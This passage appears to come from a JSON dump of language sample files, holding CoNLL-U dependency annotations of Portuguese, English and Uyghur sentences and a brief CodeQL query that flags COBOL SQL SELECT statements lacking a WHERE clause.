5\n1\tNem\tnem\tCCONJ\t<parkc-1>|KC|@CO\t_\t2\tcc\t_\t_\n2\tLula\tLula\tPROPN\t<first-cjt>|PROP|M|S|@SUBJ>\tGender=Masc|Number=Sing\t7\tnsubj\t_\t_\n3\tnem\tnem\tCCONJ\t<co-subj>|<parkc-2>|KC|@CO\t_\t5\tcc\t_\t_\n4\to\to\tDET\t<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t5\tdet\t_\t_\n5\tpartido\tpartido\tNOUN\t<cjt>|<np-def>|N|M|S|@SUBJ>\tGender=Masc|Number=Sing\t2\tconj\t_\t_\n6\tainda\tainda\tADV\tADV|@ADVL>\t_\t7\tadvmod\t_\t_\n7\tencontraram\tencontrar\tVERB\t<mv>|V|PS/MQP|3P|IND|@FS-STA\tMood=Ind|Number=Plur|Person=3|VerbForm=Fin\t0\troot\t_\t_\n8\tum\tum\tDET\t_\tDefinite=Ind|Gender=Masc|Number=Sing|PronType=Art\t9\tdet\t_\t_\n9\tdiscurso\tdiscurso\tNOUN\t<np-idf>|N|M|S|@<ACC\tGender=Masc|Number=Sing\t7\tobj\t_\t_\n10\tpara\tpara\tADP\t_\t_\t12\tcase\t_\t_\n11\tse\tse\tPRON\tPERS|M|3S|ACC|@ACC>-PASS\tCase=Acc|Gender=Masc|Number=Sing|Person=3|PronType=Prs\t12\texpl\t_\tChangedBy=Issue135\n12\tdiferenciar\tdiferenciar\tVERB\t_\tVerbForm=Inf\t9\tacl\t_\tChangedBy=Issue165|SpaceAfter=No\n13\t.\t.\tPUNCT\tPU|@PU\t_\t7\tpunct\t_\t_\n\n# text = Eles se dizem oposição, mas ainda não informaram o que vão combater.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a\n# sent_id = CF1-7\n# id = 6\n1\tEles\teles\tPRON\tPERS|M|3P|NOM|@SUBJ>\tCase=Nom|Gender=Masc|Number=Plur|Person=3|PronType=Prs\t3\tnsubj\t_\t_\n2\tse\tse\tPRON\tPERS|M|3P|ACC|@ACC>-PASS\tCase=Acc|Gender=Masc|Number=Plur|Person=3|PronType=Prs\t3\texpl\t_\tChangedBy=Issue135\n3\tdizem\tdizer\tVERB\t<first-cjt>|<mv>|<se-passive>|V|PR|3P|IND|@FS-STA\tMood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin\t0\troot\t_\t_\n4\toposição\toposição\tNOUN\t<np-idf>|N|F|S|@<OC\tGender=Fem|Number=Sing\t3\txcomp\t_\tChangedBy=Issue165|SpaceAfter=No\n5\t,\t,\tPUNCT\tPU|@PU\t_\t9\tpunct\t_\t_\n6\tmas\tmas\tCCONJ\t<co-fcl>|KC|@CO\t_\t9\tcc\t_\t_\n7\tainda\tainda\tADV\tADV|@>A\t_\t8\tadvmod\t_\t_\n8\tnão\tnão\tADV\t_\tPolarity=Neg\t9\tadvmod\t_\t_\n9\tinformaram\tinformar\tVERB\t<cjt>|<mv>|V|PS/MQP|3P|IND|@FS-STA\tMood=Ind|Number=Plur|Person=3|VerbForm=Fin\t3\tconj\t_\t_\n10\to\to\tPRON\t_\tGender=Masc|Number=Sing|PronType=Dem\t11\tdet\t_\t_\n11\tque\tque\tPRON\t<interr>|INDP|M|S|@ACC>\tGender=Masc|Number=Sing|PronType=Int\t13\tobj\t_\t_\n12\tvão\tir\tAUX\t<aux>|V|PR|3P|IND|@FS-<ACC\tMood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin\t13\taux\t_\t_\n13\tcombater\tcombater\tVERB\t<mv>|V|INF|@ICL-AUX<\tVerbForm=Inf\t9\tccomp\t_\tChangedBy=Issue165|SpaceAfter=No\n14\t.\t.\tPUNCT\tPU|@PU\t_\t3\tpunct\t_\t_\n\n# text = Muitas das prioridades do novo governo coincidem com as prioridades do PT.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a\n# sent_id = CF1-8\n# id = 7\n1\tMuitas\tmuito\tPRON\t<quant>|DET|F|P|@SUBJ>\tGender=Fem|Number=Plur|PronType=Ind\t9\tnsubj\t_\t_\n2-3\tdas\t_\t_\t_\t_\t_\t_\t_\t_\n2\tde\tde\tADP\t<sam->|PRP|@N<\t_\t4\tcase\t_\t_\n3\tas\to\tDET\t<-sam>|<artd>|ART|F|P|@>N\tDefinite=Def|Gender=Fem|Number=Plur|PronType=Art\t4\tdet\t_\t_\n4\tprioridades\tprioridade\tNOUN\t<np-def>|N|F|P|@P<\tGender=Fem|Number=Plur\t1\tnmod\t_\t_\n5-6\tdo\t_\t_\t_\t_\t_\t_\t_\t_\n5\tde\tde\tADP\t<sam->|PRP|@N<\t_\t8\tcase\t_\t_\n6\to\to\tDET\t<-sam>|<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t8\tdet\t_\t_\n7\tnovo\tnovo\tADJ\tADJ|M|S|@>N\tGender=Masc|Number=Sing\t8\tamod\t_\t_\n8\tgoverno\tgoverno\tNOUN\t<np-def>|N|M|S|@P<\tGender=Masc|Number=Sing\t4\tnmod\t_\t_\n9\tcoincidem\tcoincidir\tVERB\t<mv>|V|PR|3P|IND|@FS-STA\tMood=Ind|Number=Plur|Person=3|Tense=Pres|VerbForm=Fin\t0\troot\t_\t_\n10\tcom\tcom\tADP\tPRP|@<PIV\t_\t12\tcase\t_\t_\n11\tas\to\tDET\t<artd>|ART|F|P|@>N\tDefinite=Def|Gender=Fem|Number=Plur|PronType=Art\t12\tdet\t_\t_\n12\tprioridades\tprioridade\tNOUN\t<np-def>|N|F|P|@P<\tGender=Fem|Number=Plur\t9\tobj\t_\t_\n13-14\tdo\t_\t_\t_\t_\t_\t_\t_\t_\n13\tde\tde\tADP\t<sam->|PRP|@N<\t_\t15\tcase\t_\t_\n14\to\to\tDET\t<-sam>|<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t15\tdet\t_\t_\n15\tPT\tPT\tPROPN\tPROP|M|S|@P<\tGender=Masc|Number=Sing\t12\tnmod\t_\tChangedBy=Issue165|SpaceAfter=No\n16\t.\t.\tPUNCT\tPU|@PU\t_\t9\tpunct\t_\t_\n\n"
  },
  {
    "path": "samples/CoNLL-U/en-ud-test-abridged.conllu",
    "content": "# newdoc id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200\n# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0001\n# text = What if Google Morphed Into GoogleOS?\n1\tWhat\twhat\tPRON\tWP\tPronType=Int\t0\troot\t0:root\t_\n2\tif\tif\tSCONJ\tIN\t_\t4\tmark\t4:mark\t_\n3\tGoogle\tGoogle\tPROPN\tNNP\tNumber=Sing\t4\tnsubj\t4:nsubj\t_\n4\tMorphed\tmorph\tVERB\tVBD\tMood=Ind|Tense=Past|VerbForm=Fin\t1\tadvcl\t1:advcl\t_\n5\tInto\tinto\tADP\tIN\t_\t6\tcase\t6:case\t_\n6\tGoogleOS\tGoogleOS\tPROPN\tNNP\tNumber=Sing\t4\tobl\t4:obl\tSpaceAfter=No\n7\t?\t?\tPUNCT\t.\t_\t4\tpunct\t4:punct\t_\n\n# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0002\n# text = What if Google expanded on its search-engine (and now e-mail) wares into a full-fledged operating system?\n1\tWhat\twhat\tPRON\tWP\tPronType=Int\t0\troot\t0:root\t_\n2\tif\tif\tSCONJ\tIN\t_\t4\tmark\t4:mark\t_\n3\tGoogle\tGoogle\tPROPN\tNNP\tNumber=Sing\t4\tnsubj\t4:nsubj\t_\n4\texpanded\texpand\tVERB\tVBD\tMood=Ind|Tense=Past|VerbForm=Fin\t1\tadvcl\t1:advcl\t_\n5\ton\ton\tADP\tIN\t_\t15\tcase\t15:case\t_\n6\tits\tits\tPRON\tPRP$\tGender=Neut|Number=Sing|Person=3|Poss=Yes|PronType=Prs\t15\tnmod:poss\t15:nmod:poss\t_\n7\tsearch\tsearch\tNOUN\tNN\tNumber=Sing\t9\tcompound\t9:compound\tSpaceAfter=No\n8\t-\t-\tPUNCT\tHYPH\t_\t9\tpunct\t9:punct\tSpaceAfter=No\n9\tengine\tengine\tNOUN\tNN\tNumber=Sing\t15\tcompound\t15:compound\t_\n10\t(\t(\tPUNCT\t-LRB-\t_\t9\tpunct\t9:punct\tSpaceAfter=No\n11\tand\tand\tCCONJ\tCC\t_\t13\tcc\t13:cc\t_\n12\tnow\tnow\tADV\tRB\t_\t13\tadvmod\t13:advmod\t_\n13\te-mail\te-mail\tNOUN\tNN\tNumber=Sing\t9\tconj\t9:conj\tSpaceAfter=No\n14\t)\t)\tPUNCT\t-RRB-\t_\t15\tpunct\t15:punct\t_\n15\twares\twares\tNOUN\tNNS\tNumber=Plur\t4\tobl\t4:obl\t_\n16\tinto\tinto\tADP\tIN\t_\t22\tcase\t22:case\t_\n17\ta\ta\tDET\tDT\tDefinite=Ind|PronType=Art\t22\tdet\t22:det\t_\n18\tfull\tfull\tADV\tRB\t_\t20\tadvmod\t20:advmod\tSpaceAfter=No\n19\t-\t-\tPUNCT\tHYPH\t_\t20\tpunct\t20:punct\tSpaceAfter=No\n20\tfledged\tfledged\tADJ\tJJ\tDegree=Pos\t22\tamod\t22:amod\t_\n21\toperating\toperating\tNOUN\tNN\tNumber=Sing\t22\tcompound\t22:compound\t_\n22\tsystem\tsystem\tNOUN\tNN\tNumber=Sing\t4\tobl\t4:obl\tSpaceAfter=No\n23\t?\t?\tPUNCT\t.\t_\t4\tpunct\t4:punct\t_\n\n# sent_id = weblog-blogspot.com_zentelligence_20040423000200_ENG_20040423_000200-0003\n# text = [via Microsoft Watch from Mary Jo Foley ]\n1\t[\t[\tPUNCT\t-LRB-\t_\t4\tpunct\t4:punct\tSpaceAfter=No\n2\tvia\tvia\tADP\tIN\t_\t4\tcase\t4:case\t_\n3\tMicrosoft\tMicrosoft\tPROPN\tNNP\tNumber=Sing\t4\tcompound\t4:compound\t_\n4\tWatch\tWatch\tPROPN\tNNP\tNumber=Sing\t0\troot\t0:root\t_\n5\tfrom\tfrom\tADP\tIN\t_\t6\tcase\t6:case\t_\n6\tMary\tMary\tPROPN\tNNP\tNumber=Sing\t4\tnmod\t4:nmod\t_\n7\tJo\tJo\tPROPN\tNNP\tNumber=Sing\t6\tflat\t6:flat\t_\n8\tFoley\tFoley\tPROPN\tNNP\tNumber=Sing\t6\tflat\t6:flat\t_\n9\t]\t]\tPUNCT\t-RRB-\t_\t4\tpunct\t4:punct\t_\n\n# newdoc id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700\n# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0001\n# text = (And, by the way, is anybody else just a little nostalgic for the days when that was a good thing?)\n1\t(\t(\tPUNCT\t-LRB-\t_\t14\tpunct\t14:punct\tSpaceAfter=No\n2\tAnd\tand\tCCONJ\tCC\t_\t14\tcc\t14:cc\tSpaceAfter=No\n3\t,\t,\tPUNCT\t,\t_\t14\tpunct\t14:punct\t_\n4\tby\tby\tADP\tIN\t_\t6\tcase\t6:case\t_\n5\tthe\tthe\tDET\tDT\tDefinite=Def|PronType=Art\t6\tdet\t6:det\t_\n6\tway\tway\tNOUN\tNN\tNumber=Sing\t14\tobl\t14:obl\tSpaceAfter=No\n7\t,\t,\tPUNCT\t,\t_\t14\tpunct\t14:punct\t_\n8\tis\tbe\tAUX\tVBZ\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t14\tcop\t14:cop\t_\n9\tanybody\tanybody\tPRON\tNN\tNumber=Sing\t14\tnsubj\t14:nsubj\t_\n10\telse\telse\tADJ\tJJ\tDegree=Pos\t9\tamod\t9:amod\t_\n11\tjust\tjust\tADV\tRB\t_\t13\tadvmod\t13:advmod\t_\n12\ta\ta\tDET\tDT\tDefinite=Ind|PronType=Art\t13\tdet\t13:det\t_\n13\tlittle\tlittle\tADJ\tJJ\tDegree=Pos\t14\tobl:npmod\t14:obl:npmod\t_\n14\tnostalgic\tnostalgic\tNOUN\tNN\tNumber=Sing\t0\troot\t0:root\t_\n15\tfor\tfor\tADP\tIN\t_\t17\tcase\t17:case\t_\n16\tthe\tthe\tDET\tDT\tDefinite=Def|PronType=Art\t17\tdet\t17:det\t_\n17\tdays\tday\tNOUN\tNNS\tNumber=Plur\t14\tnmod\t14:nmod\t_\n18\twhen\twhen\tADV\tWRB\tPronType=Rel\t23\tadvmod\t23:advmod\t_\n19\tthat\tthat\tPRON\tDT\tNumber=Sing|PronType=Dem\t23\tnsubj\t23:nsubj\t_\n20\twas\tbe\tAUX\tVBD\tMood=Ind|Number=Sing|Person=3|Tense=Past|VerbForm=Fin\t23\tcop\t23:cop\t_\n21\ta\ta\tDET\tDT\tDefinite=Ind|PronType=Art\t23\tdet\t23:det\t_\n22\tgood\tgood\tADJ\tJJ\tDegree=Pos\t23\tamod\t23:amod\t_\n23\tthing\tthing\tNOUN\tNN\tNumber=Sing\t17\tacl:relcl\t17:acl:relcl\tSpaceAfter=No\n24\t?\t?\tPUNCT\t.\t_\t14\tpunct\t14:punct\tSpaceAfter=No\n25\t)\t)\tPUNCT\t-RRB-\t_\t14\tpunct\t14:punct\t_\n\n# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0002\n# text = This BuzzMachine post argues that Google's rush toward ubiquity might backfire -- which we've all heard before, but it's particularly well-put in this post.\n1\tThis\tthis\tDET\tDT\tNumber=Sing|PronType=Dem\t3\tdet\t3:det\t_\n2\tBuzzMachine\tBuzzMachine\tPROPN\tNNP\tNumber=Sing\t3\tcompound\t3:compound\t_\n3\tpost\tpost\tNOUN\tNN\tNumber=Sing\t4\tnsubj\t4:nsubj\t_\n4\targues\targue\tVERB\tVBZ\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t0\troot\t0:root\t_\n5\tthat\tthat\tSCONJ\tIN\t_\t12\tmark\t12:mark\t_\n6\tGoogle\tGoogle\tPROPN\tNNP\tNumber=Sing\t8\tnmod:poss\t8:nmod:poss\tSpaceAfter=No\n7\t's\t's\tPART\tPOS\t_\t6\tcase\t6:case\t_\n8\trush\trush\tNOUN\tNN\tNumber=Sing\t12\tnsubj\t12:nsubj\t_\n9\ttoward\ttoward\tADP\tIN\t_\t10\tcase\t10:case\t_\n10\tubiquity\tubiquity\tNOUN\tNN\tNumber=Sing\t8\tnmod\t8:nmod\t_\n11\tmight\tmight\tAUX\tMD\tVerbForm=Fin\t12\taux\t12:aux\t_\n12\tbackfire\tbackfire\tVERB\tVB\tVerbForm=Inf\t4\tccomp\t4:ccomp\t_\n13\t--\t--\tPUNCT\t,\t_\t12\tpunct\t12:punct\t_\n14\twhich\twhich\tPRON\tWDT\tPronType=Rel\t18\tobj\t18:obj\t_\n15\twe\twe\tPRON\tPRP\tCase=Nom|Number=Plur|Person=1|PronType=Prs\t18\tnsubj\t18:nsubj\tSpaceAfter=No\n16\t've\thave\tAUX\tVBP\tMood=Ind|Tense=Pres|VerbForm=Fin\t18\taux\t18:aux\t_\n17\tall\tall\tADV\tRB\t_\t18\tadvmod\t18:advmod\t_\n18\theard\thear\tVERB\tVBN\tTense=Past|VerbForm=Part\t12\tacl:relcl\t12:acl:relcl\t_\n19\tbefore\tbefore\tADV\tRB\t_\t18\tadvmod\t18:advmod\tSpaceAfter=No\n20\t,\t,\tPUNCT\t,\t_\t27\tpunct\t27:punct\t_\n21\tbut\tbut\tCCONJ\tCC\t_\t27\tcc\t27:cc\t_\n22\tit\tit\tPRON\tPRP\tCase=Nom|Gender=Neut|Number=Sing|Person=3|PronType=Prs\t27\tnsubj:pass\t27:nsubj:pass\tSpaceAfter=No\n23\t's\tbe\tVERB\tVBZ\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t27\taux:pass\t27:aux:pass\t_\n24\tparticularly\tparticularly\tADV\tRB\t_\t27\tadvmod\t27:advmod\t_\n25\twell\twell\tADV\tRB\tDegree=Pos\t27\tadvmod\t27:advmod\tSpaceAfter=No\n26\t-\t-\tPUNCT\tHYPH\t_\t27\tpunct\t27:punct\tSpaceAfter=No\n27\tput\tput\tVERB\tVBN\tTense=Past|VerbForm=Part\t4\tconj\t4:conj\t_\n28\tin\tin\tADP\tIN\t_\t30\tcase\t30:case\t_\n29\tthis\tthis\tDET\tDT\tNumber=Sing|PronType=Dem\t30\tdet\t30:det\t_\n30\tpost\tpost\tNOUN\tNN\tNumber=Sing\t27\tobl\t27:obl\tSpaceAfter=No\n31\t.\t.\tPUNCT\t.\t_\t4\tpunct\t4:punct\t_\n\n# sent_id = weblog-blogspot.com_marketview_20050511222700_ENG_20050511_222700-0003\n# text = Google is a nice search engine.\n1\tGoogle\tGoogle\tPROPN\tNNP\tNumber=Sing\t6\tnsubj\t6:nsubj\t_\n2\tis\tbe\tAUX\tVBZ\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t6\tcop\t6:cop\t_\n3\ta\ta\tDET\tDT\tDefinite=Ind|PronType=Art\t6\tdet\t6:det\t_\n4\tnice\tnice\tADJ\tJJ\tDegree=Pos\t6\tamod\t6:amod\t_\n5\tsearch\tsearch\tNOUN\tNN\tNumber=Sing\t6\tcompound\t6:compound\t_\n6\tengine\tengine\tNOUN\tNN\tNumber=Sing\t0\troot\t0:root\tSpaceAfter=No\n7\t.\t.\tPUNCT\t.\t_\t6\tpunct\t6:punct\t_\n\n"
  },
  {
    "path": "samples/CoNLL-U/ug-ud-test-abridged.conllu",
    "content": "# sent_id = s1\n# text = ئاسماننى كۆپكۈك، دەريا، كۆل سۇلىرىنى سۈپسۈزۈك تۇرۇشقا، دەل - دەرەخلەرنى بۈك - باراقسان بولۇشقا، ھايۋانلارنى ئەركىن ئازادە ياشاشقا ئىگە قىلىش... بىزنىڭ ئورتاق ئارزۇيىمىز.\n1\tئاسماننى\t_\tNOUN\tN\t_\t30\tcsubj\t_\tTranslit=asmanni\n2\tكۆپكۈك\t_\tVERB\tV\t_\t1\torphan\t_\tSpaceAfter=No|Translit=köpkük\n3\t،\t_\tPUNCT\tY\t_\t2\tpunct\t_\tTranslit=,\n4\tدەريا\t_\tNOUN\tN\t_\t7\tnmod:poss\t_\tSpaceAfter=No|Translit=derya\n5\t،\t_\tPUNCT\tY\t_\t4\tpunct\t_\tTranslit=,\n6\tكۆل\t_\tNOUN\tN\t_\t4\tconj\t_\tTranslit=köl\n7\tسۇلىرىنى\t_\tNOUN\tN\t_\t9\tobj\t_\tTranslit=sulirini\n8\tسۈپسۈزۈك\t_\tADJ\tA\t_\t9\tadvmod\t_\tTranslit=süpsüzük\n9\tتۇرۇشقا\t_\tVERB\tV\t_\t1\tconj\t_\tSpaceAfter=No|Translit=turushqa\n10\t،\t_\tPUNCT\tY\t_\t1\tpunct\t_\tTranslit=,\n11\tدەل\t_\tADV\tD\t_\t13\tcompound:redup\t_\tTranslit=del\n12\t-\t_\tPUNCT\tY\t_\t11\tpunct\t_\tTranslit=-\n13\tدەرەخلەرنى\t_\tNOUN\tN\t_\t17\tobj\t_\tTranslit=derexlerni\n14\tبۈك\t_\tADJ\tA\t_\t16\tcompound\t_\tTranslit=bük\n15\t-\t_\tPUNCT\tY\t_\t14\tpunct\t_\tTranslit=-\n16\tباراقسان\t_\tADJ\tA\t_\t17\tadvmod\t_\tTranslit=baraqsan\n17\tبولۇشقا\t_\tVERB\tV\t_\t9\torphan\t_\tSpaceAfter=No|Translit=bolushqa\n18\t،\t_\tPUNCT\tY\t_\t17\tpunct\t_\tTranslit=,\n19\tھايۋانلارنى\t_\tNOUN\tN\t_\t24\tobj\t_\tTranslit=haywanlarni\n20\tئەركىن\t_\tADJ\tA\t_\t21\tcompound:redup\t_\tTranslit=erkin\n21\tئازادە\t_\tADJ\tA\t_\t22\tadvmod\t_\tTranslit=azade\n22\tياشاشقا\t_\tNOUN\tN\t_\t24\tadvcl\t_\tTranslit=yashashqa\n23\tئىگە\t_\tNOUN\tN\t_\t24\tcompound\t_\tTranslit=ige\n24\tقىلىش\t_\tVERB\tV\t_\t1\tconj\t_\tSpaceAfter=No|Translit=qilish\n25\t.\t_\tPUNCT\tY\t_\t1\tpunct\t_\tSpaceAfter=No|Translit=.\n26\t.\t_\tPUNCT\tY\t_\t1\tpunct\t_\tSpaceAfter=No|Translit=.\n27\t.\t_\tPUNCT\tY\t_\t1\tpunct\t_\tTranslit=.\n28\tبىزنىڭ\t_\tPRON\tP\t_\t30\tnmod:poss\t_\tTranslit=bizning\n29\tئورتاق\t_\tADJ\tA\t_\t30\tamod\t_\tTranslit=ortaq\n30\tئارزۇيىمىز\t_\tNOUN\tN\t_\t0\troot\t_\tSpaceAfter=No|Translit=arzuyimiz\n31\t.\t_\tPUNCT\tY\t_\t30\tpunct\t_\tTranslit=.\n\n# sent_id = s2\n# text = بۇ بۆلەكتىكى تېكىستلەرنى ئوقۇش ئارقىلىق، كىشىلەرنىڭ ھايۋانلار ۋە ئۆسۈملۈكلەرگە قانداق مۇئامىلە قىلغانلىقى، ئاقىۋىتىنىڭ قانداق بولغانلىقىنى كۆرۈپ باقايلى،\n1\tبۇ\t_\tPRON\tP\t_\t2\tdet\t_\tTranslit=bu\n2\tبۆلەكتىكى\t_\tNOUN\tN\t_\t3\tnmod\t_\tTranslit=bölektiki\n3\tتېكىستلەرنى\t_\tNOUN\tN\t_\t4\tobj\t_\tTranslit=tëkistlerni\n4\tئوقۇش\t_\tVERB\tV\t_\t18\tadvcl\t_\tTranslit=oqush\n5\tئارقىلىق\t_\tADP\tR\t_\t4\tcase\t_\tSpaceAfter=No|Translit=arqiliq\n6\t،\t_\tPUNCT\tY\t_\t5\tpunct\t_\tTranslit=,\n7\tكىشىلەرنىڭ\t_\tNOUN\tN\t_\t13\tnsubj\t_\tTranslit=kishilerning\n8\tھايۋانلار\t_\tNOUN\tN\t_\t13\tobl\t_\tTranslit=haywanlar\n9\tۋە\t_\tCCONJ\tC\t_\t10\tcc\t_\tTranslit=we\n10\tئۆسۈملۈكلەرگە\t_\tNOUN\tN\t_\t8\tconj\t_\tTranslit=ösümlüklerge\n11\tقانداق\t_\tPRON\tP\t_\t13\tadvmod\t_\tTranslit=qandaq\n12\tمۇئامىلە\t_\tNOUN\tN\t_\t13\tcompound\t_\tTranslit=muamile\n13\tقىلغانلىقى\t_\tVERB\tV\t_\t18\tconj\t_\tSpaceAfter=No|Translit=qilghanliqi\n14\t،\t_\tPUNCT\tY\t_\t13\tpunct\t_\tTranslit=,\n15\tئاقىۋىتىنىڭ\t_\tNOUN\tN\t_\t17\tnsubj\t_\tTranslit=aqiwitining\n16\tقانداق\t_\tPRON\tP\t_\t17\tadvmod\t_\tTranslit=qandaq\n17\tبولغانلىقىنى\t_\tVERB\tV\t_\t18\tobj\t_\tTranslit=bolghanliqini\n18\tكۆرۈپ\t_\tVERB\tV\t_\t0\troot\t_\tTranslit=körüp\n19\tباقايلى\t_\tVERB\tV\t_\t18\taux\t_\tSpaceAfter=No|Translit=baqayli\n20\t،\t_\tPUNCT\tY\t_\t19\tpunct\t_\tTranslit=,\n\n# sent_id = s3\n# text = يەنە ئەتراپىمىزدىكى مۇھىتنى ياخشى كۆزىتىپ، مۇھىتنى قوغداش ئۈچۈن نېمىلەرنى قىلالايدىغانلىقىمىز توغرۇلۇق ئويلىنىپ باقايلى.\n1\tيەنە\t_\tADV\tD\t_\t13\tcc\t_\tTranslit=yene\n2\tئەتراپىمىزدىكى\t_\tNOUN\tN\t_\t3\tamod\t_\tTranslit=etrapimizdiki\n3\tمۇھىتنى\t_\tNOUN\tN\t_\t5\tobj\t_\tTranslit=muhitni\n4\tياخشى\t_\tADJ\tA\t_\t5\tadvmod\t_\tTranslit=yaxshi\n5\tكۆزىتىپ\t_\tVERB\tV\t_\t13\tadvcl\t_\tSpaceAfter=No|Translit=közitip\n6\t،\t_\tPUNCT\tY\t_\t5\tpunct\t_\tTranslit=,\n7\tمۇھىتنى\t_\tNOUN\tN\t_\t8\tobj\t_\tTranslit=muhitni\n8\tقوغداش\t_\tVERB\tV\t_\t11\tadvcl\t_\tTranslit=qoghdash\n9\tئۈچۈن\t_\tCCONJ\tC\t_\t8\tcase\t_\tTranslit=üchün\n10\tنېمىلەرنى\t_\tPRON\tP\t_\t11\tobj\t_\tTranslit=nëmilerni\n11\tقىلالايدىغانلىقىمىز\t_\tVERB\tV\t_\t13\tobj\t_\tTranslit=qilalaydighanliqimiz\n12\tتوغرۇلۇق\t_\tADP\tR\t_\t11\tcase\t_\tTranslit=toghruluq\n13\tئويلىنىپ\t_\tVERB\tV\t_\t0\troot\t_\tTranslit=oylinip\n14\tباقايلى\t_\tVERB\tV\t_\t13\taux\t_\tSpaceAfter=No|Translit=baqayli\n15\t.\t_\tPUNCT\tY\t_\t14\tpunct\t_\tTranslit=.\n\n# sent_id = s4\n# text = بىر يىلى باھار كۈنلىرىنىڭ بىرىدە، شىۋېتسارىيىنىڭ بىر ۋوگزالىدا ھاۋا تەڭشىگۈچ ئورنىتىلغان چىرايلىق، ئازادە بىر پويىز قوزغىلىش ئالدىدا تۇراتتى.\n1\tبىر\t_\tNUM\tM\t_\t2\tnummod\t_\tTranslit=bir\n2\tيىلى\t_\tNOUN\tN\t_\t20\tnmod:tmod\t_\tTranslit=yili\n3\tباھار\t_\tNOUN\tN\t_\t4\tnmod:poss\t_\tTranslit=bahar\n4\tكۈنلىرىنىڭ\t_\tNOUN\tN\t_\t5\tnmod:part\t_\tTranslit=künlirining\n5\tبىرىدە\t_\tNUM\tM\t_\t20\tnmod:tmod\t_\tSpaceAfter=No|Translit=biride\n6\t،\t_\tPUNCT\tY\t_\t5\tpunct\t_\tTranslit=,\n7\tشىۋېتسارىيىنىڭ\t_\tNOUN\tN\t_\t9\tnmod:poss\t_\tTranslit=shiwëtsariyining\n8\tبىر\t_\tNUM\tM\t_\t9\tdet\t_\tTranslit=bir\n9\tۋوگزالىدا\t_\tNOUN\tN\t_\t20\tobl\t_\tTranslit=wogzalida\n10\tھاۋا\t_\tNOUN\tN\t_\t11\tcompound\t_\tTranslit=hawa\n11\tتەڭشىگۈچ\t_\tNOUN\tN\t_\t12\tnsubj\t_\tTranslit=tengshigüch\n12\tئورنىتىلغان\t_\tNOUN\tN\t_\t17\tamod\t_\tTranslit=ornitilghan\n13\tچىرايلىق\t_\tADJ\tA\t_\t17\tamod\t_\tSpaceAfter=No|Translit=chirayliq\n14\t،\t_\tPUNCT\tY\t_\t13\tpunct\t_\tTranslit=,\n15\tئازادە\t_\tADJ\tA\t_\t13\tconj\t_\tTranslit=azade\n16\tبىر\t_\tNUM\tM\t_\t17\tdet\t_\tTranslit=bir\n17\tپويىز\t_\tNOUN\tN\t_\t20\tnsubj\t_\tTranslit=poyiz\n18\tقوزغىلىش\t_\tVERB\tV\t_\t19\tnmod:poss\t_\tTranslit=qozghilish\n19\tئالدىدا\t_\tNOUN\tN\t_\t20\tobl\t_\tTranslit=aldida\n20\tتۇراتتى\t_\tVERB\tV\t_\t0\troot\t_\tSpaceAfter=No|Translit=turatti\n21\t.\t_\tPUNCT\tY\t_\t20\tpunct\t_\tTranslit=.\n\n# sent_id = s5\n# text = ۋوگزال سۇپىسى ئۇزاتقۇچىلار بىلەن تولۇپ كەتكەنىدى.\n1\tۋوگزال\t_\tNOUN\tN\t_\t2\tnmod:poss\t_\tTranslit=wogzal\n2\tسۇپىسى\t_\tNOUN\tN\t_\t5\tnsubj\t_\tTranslit=supisi\n3\tئۇزاتقۇچىلار\t_\tNOUN\tN\t_\t5\tobl\t_\tTranslit=uzatquchilar\n4\tبىلەن\t_\tADP\tR\t_\t3\tcase\t_\tTranslit=bilen\n5\tتولۇپ\t_\tVERB\tV\t_\t0\troot\t_\tTranslit=tolup\n6\tكەتكەنىدى\t_\tVERB\tV\t_\t5\taux\t_\tSpaceAfter=No|Translit=ketkenidi\n7\t.\t_\tPUNCT\tY\t_\t6\tpunct\t_\tTranslit=.\n\n# sent_id = s6\n# text = ئۇلارنىڭ ئۇزاتماقچى بولغىنى ئۆزگىچە مىھمان - قارلىغاچلار ئىدى.\n1\tئۇلارنىڭ\t_\tPRON\tP\t_\t2\tnsubj\t_\tTranslit=ularning\n2\tئۇزاتماقچى\t_\tNOUN\tN\t_\t5\tacl\t_\tTranslit=uzatmaqchi\n3\tبولغىنى\t_\tAUX\tV\t_\t2\tcop\t_\tTranslit=bolghini\n4\tئۆزگىچە\t_\tADJ\tA\t_\t5\tamod\t_\tTranslit=özgiche\n5\tمىھمان\t_\tNOUN\tN\t_\t7\tappos\t_\tTranslit=mihman\n6\t-\t_\tPUNCT\tY\t_\t5\tpunct\t_\tTranslit=-\n7\tقارلىغاچلار\t_\tNOUN\tN\t_\t0\troot\t_\tTranslit=qarlighachlar\n8\tئىدى\t_\tAUX\tV\t_\t7\tcop\t_\tSpaceAfter=No|Translit=idi\n9\t.\t_\tPUNCT\tY\t_\t8\tpunct\t_\tTranslit=.\n\n"
  },
  {
    "path": "samples/CodeQL/ql-cobol-sample.ql",
    "content": "/**\n * Source: https://github.com/krisds/cobol-codeql/blob/9373a45da534889cb5d3ae1841a5233a38abceee/queries/semmlecode-cobol-queries/SQL/SpecifyWhereClauseOnSelect.ql\n * Lisence: MIT\n */\n\nimport cobol\n\nfrom SqlSelectStmt stmt\nwhere not exists (stmt.getWhere())\n  // Make sure we're selecting from an actual table.\n  and exists ( SqlTableReference ref |\n    ref = stmt.getFrom().getATarget() and\n    not ref.(SqlTableName).getName().toUpperCase() = \"DUAL\"\n  )\nselect stmt, \"Unconditional selection of data.\"\n"
  },
  {
    "path": "samples/CodeQL/ql-sample.ql",
